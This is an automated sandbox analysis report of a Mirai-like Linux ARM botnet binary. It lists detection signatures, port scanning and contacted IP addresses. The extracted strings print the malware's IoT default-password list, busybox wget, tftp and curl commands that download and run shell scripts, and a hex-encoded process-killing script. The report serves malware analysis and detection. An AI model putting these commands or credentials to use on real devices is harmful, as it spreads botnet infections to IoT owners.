Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1542537
MD5: 5fc68d2cf55237e62c046f2c27d5f2aa
SHA1: 11d44719dfe9383f318d7c8f9d6323fbc05c5e71
SHA256: d98ae82842687cb931b750fc5aba5ddc727dc2c9751ff6a57362d5abf7dc3c83
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Uses known network protocols on non-standard ports
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 154.205.128.136 ports 1,2,5,6,7,27651
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 39380
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 51902
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:59240 -> 154.205.128.136:27651
Sample listens on a socket
Source: /tmp/la.bot.arm5.elf (PID: 6219) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 30.7.193.51
Source: unknown TCP traffic detected without corresponding DNS query: 30.7.193.51
Source: unknown TCP traffic detected without corresponding DNS query: 12.229.54.252
Source: unknown TCP traffic detected without corresponding DNS query: 12.229.54.252
Source: unknown TCP traffic detected without corresponding DNS query: 179.141.121.31
Source: unknown TCP traffic detected without corresponding DNS query: 179.141.121.31
Source: unknown TCP traffic detected without corresponding DNS query: 124.72.112.155
Source: unknown TCP traffic detected without corresponding DNS query: 124.72.112.155
Source: unknown TCP traffic detected without corresponding DNS query: 195.96.14.161
Source: unknown TCP traffic detected without corresponding DNS query: 195.96.14.161
Source: unknown TCP traffic detected without corresponding DNS query: 2.13.62.95
Source: unknown TCP traffic detected without corresponding DNS query: 2.13.62.95
Source: unknown TCP traffic detected without corresponding DNS query: 103.47.134.140
Source: unknown TCP traffic detected without corresponding DNS query: 159.100.95.138
Source: unknown TCP traffic detected without corresponding DNS query: 103.47.134.140
Source: unknown TCP traffic detected without corresponding DNS query: 133.163.1.13
Source: unknown TCP traffic detected without corresponding DNS query: 159.100.95.138
Source: unknown TCP traffic detected without corresponding DNS query: 133.163.1.13
Source: unknown TCP traffic detected without corresponding DNS query: 73.177.32.56
Source: unknown TCP traffic detected without corresponding DNS query: 73.177.32.56
Source: unknown TCP traffic detected without corresponding DNS query: 51.175.17.169
Source: unknown TCP traffic detected without corresponding DNS query: 51.175.17.169
Source: unknown TCP traffic detected without corresponding DNS query: 15.143.194.246
Source: unknown TCP traffic detected without corresponding DNS query: 15.143.194.246
Source: unknown TCP traffic detected without corresponding DNS query: 68.47.80.223
Source: unknown TCP traffic detected without corresponding DNS query: 68.47.80.223
Source: unknown TCP traffic detected without corresponding DNS query: 76.143.85.213
Source: unknown TCP traffic detected without corresponding DNS query: 117.93.107.210
Source: unknown TCP traffic detected without corresponding DNS query: 76.143.85.213
Source: unknown TCP traffic detected without corresponding DNS query: 147.80.149.10
Source: unknown TCP traffic detected without corresponding DNS query: 117.93.107.210
Source: unknown TCP traffic detected without corresponding DNS query: 57.252.20.140
Source: unknown TCP traffic detected without corresponding DNS query: 147.80.149.10
Source: unknown TCP traffic detected without corresponding DNS query: 7.117.65.208
Source: unknown TCP traffic detected without corresponding DNS query: 57.252.20.140
Source: unknown TCP traffic detected without corresponding DNS query: 57.167.69.92
Source: unknown TCP traffic detected without corresponding DNS query: 7.117.65.208
Source: unknown TCP traffic detected without corresponding DNS query: 100.255.166.248
Source: unknown TCP traffic detected without corresponding DNS query: 57.167.69.92
Source: unknown TCP traffic detected without corresponding DNS query: 100.255.166.248
Source: unknown TCP traffic detected without corresponding DNS query: 29.84.154.43
Source: unknown TCP traffic detected without corresponding DNS query: 194.65.87.107
Source: unknown TCP traffic detected without corresponding DNS query: 29.84.154.43
Source: unknown TCP traffic detected without corresponding DNS query: 194.65.87.107
Source: unknown TCP traffic detected without corresponding DNS query: 118.133.253.159
Source: unknown TCP traffic detected without corresponding DNS query: 118.133.253.159
Source: unknown TCP traffic detected without corresponding DNS query: 117.178.249.177
Source: unknown TCP traffic detected without corresponding DNS query: 159.187.8.208
Source: unknown TCP traffic detected without corresponding DNS query: 117.178.249.177
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm5.elf (PID: 6221) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal64.troj.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm5.elf (PID: 6222) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6222) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6221) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm5.elf (PID: 6222) Log files deleted: /var/log/kern.log Jump to behavior
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 39380
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 51902
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm5.elf (PID: 6219) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 6219.1.0000558d4375a000.0000558d438a8000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6219.1.00007ffe25fa7000.00007ffe25fc8000.rw-.sdmp Binary or memory string: 8x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 6219.1.0000558d4375a000.0000558d438a8000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6219.1.00007ffe25fa7000.00007ffe25fc8000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.147.180.56
 unknown United States
7018 ATT-INTERNET4US false
202.136.15.252
 unknown Singapore
9656 T-SYSTEMS-SGT-SYSTEMSSINGAPOREPTELTDSG false
195.121.5.185
 unknown Netherlands
8737 PTNL false
201.126.189.9
 unknown Mexico
8151 UninetSAdeCVMX false
90.16.214.16
 unknown France
3215 FranceTelecom-OrangeFR false
24.152.247.204
 unknown United States
3737 AS-PTDUS false
204.95.92.43
 unknown United States
1239 SPRINTLINKUS false
4.105.185.192
 unknown United States
3356 LEVEL3US false
7.197.221.199
 unknown United States
3356 LEVEL3US false
203.241.202.22
 unknown Korea Republic of
9870 DEUNET-ASDONG-EUIUNIVERSITYKR false
26.68.29.136
 unknown United States
7922 COMCAST-7922US false
150.117.46.210
 unknown Taiwan; Republic of China (ROC)
18419 DADA-AS-TWDaDaBroadbandLTDTW false
138.214.165.103
 unknown Canada
59121 AKNWS-NETAsahiKaseiNetworksCorporationJP false
219.80.190.63
 unknown Taiwan; Republic of China (ROC)
9924 TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi false
193.78.36.22
 unknown Netherlands
702 UUNETUS false
140.143.227.152
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
189.213.245.99
 unknown Mexico
6503 AxtelSABdeCVMX false
211.176.64.211
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
134.197.33.250
 unknown United States
3851 NSHE-NEVADANETUS false
150.19.38.225
 unknown Japan 2506 SUPERCSINTTWESTCHUGOKUCORPORATIONJP false
184.43.147.92
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
6.29.238.7
 unknown United States
3356 LEVEL3US false
130.228.58.77
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
80.27.205.181
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
23.38.140.131
 unknown United States
16625 AKAMAI-ASUS false
144.219.97.82
 unknown United States
9342 ABCNET-AS-APAustralianBroadcastingCommissionAU false
52.101.68.155
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
122.199.145.96
 unknown Korea Republic of
17877 NEXG-AS-KRNexGCoLTDKR false
47.64.20.77
 unknown United States
3209 VODANETInternationalIP-BackboneofVodafoneDE false
98.198.66.20
 unknown United States
7922 COMCAST-7922US false
100.16.220.214
 unknown United States
701 UUNETUS false
42.154.123.181
 unknown Malaysia
9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
91.120.164.107
 unknown Hungary
5588 GTSCEGTSCentralEuropeAntelGermanyCZ false
57.214.89.139
 unknown Belgium
2686 ATGS-MMD-ASUS false
64.171.115.102
 unknown United States
7132 SBIS-ASUS false
216.40.248.43
 unknown United States
36351 SOFTLAYERUS false
102.153.205.43
 unknown Tunisia
5438 ATI-TN false
126.221.44.87
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
197.8.161.238
 unknown Tunisia
5438 ATI-TN false
217.240.252.99
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
73.6.96.220
 unknown United States
7922 COMCAST-7922US false
151.169.165.174
 unknown United States
45025 EDN-ASUA false
184.65.196.48
 unknown Canada
6327 SHAWCA false
57.204.54.30
 unknown Belgium
2686 ATGS-MMD-ASUS false
78.237.11.26
 unknown France
12322 PROXADFR false
16.68.107.159
 unknown United States
unknown unknown false
28.18.80.6
 unknown United States
7922 COMCAST-7922US false
210.23.82.137
 unknown Northern Mariana Islands
7131 ERX-ITE-ASITEOverseasGU false
204.201.46.93
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
14.6.241.149
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
214.82.9.195
 unknown United States
721 DNIC-ASBLK-00721-00726US false
47.157.225.200
 unknown United States
5650 FRONTIER-FRTRUS false
84.199.37.157
 unknown Belgium
6848 TELENET-ASBE false
186.113.243.32
 unknown Colombia
3816 COLOMBIATELECOMUNICACIONESSAESPCO false
189.192.133.193
 unknown Mexico
13999 MegaCableSAdeCVMX false
56.213.104.111
 unknown United States
2686 ATGS-MMD-ASUS false
82.34.82.232
 unknown United Kingdom
5089 NTLGB false
172.12.179.85
 unknown United States
7018 ATT-INTERNET4US false
55.69.111.48
 unknown United States
365 DNIC-ASBLK-00306-00371US false
95.110.79.59
 unknown Russian Federation
